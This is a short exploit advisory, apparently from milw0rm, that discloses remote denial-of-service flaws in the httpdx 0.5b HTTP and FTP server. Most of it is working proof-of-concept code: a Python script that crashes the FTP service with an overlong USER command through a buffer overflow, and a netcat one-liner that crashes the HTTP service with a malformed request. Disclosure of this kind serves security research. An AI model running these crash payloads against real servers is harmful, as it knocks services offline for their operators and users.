httpdx 0.5b - Multiple Remote Denial of Service Vulnerabilities

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* OSCP TEAM Vuln Discovery  *
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*        sico2819           *
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http://offensive-security.com

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httpdx <= 0.5b multiple remote DOS POC
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sourceforge.net/projects/httpdx/


SYSTEM USED : WinXP SP3 FR


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POC POC POC POC
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httpdx <= 0.5b is vulnerable to multiple remote DOS, in both HTTP and FTP server.

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***** FTP DOS *****
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httpdx FTP crashed by multiple ways, due to BOF in many commands (USER, PASS, CWD, ...)

POC :

------ poc.py ----------

import socket

HOST = [ change host addr ]
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data= s.recv(1024)
s.send('USER '+'A'*1000)
s.close()

------- EOF -------------

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**** HTTP DOS *****
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httpdx crashed by sending a special HTTP request :

"GET / HTTP/1.1Host: "

POC :

echo "GET / HTTP/1.1Host: "|nc [HOST] 80





This is a OSCP Team POC, more to come !!

sico2819

# milw0rm.com [2009-05-18]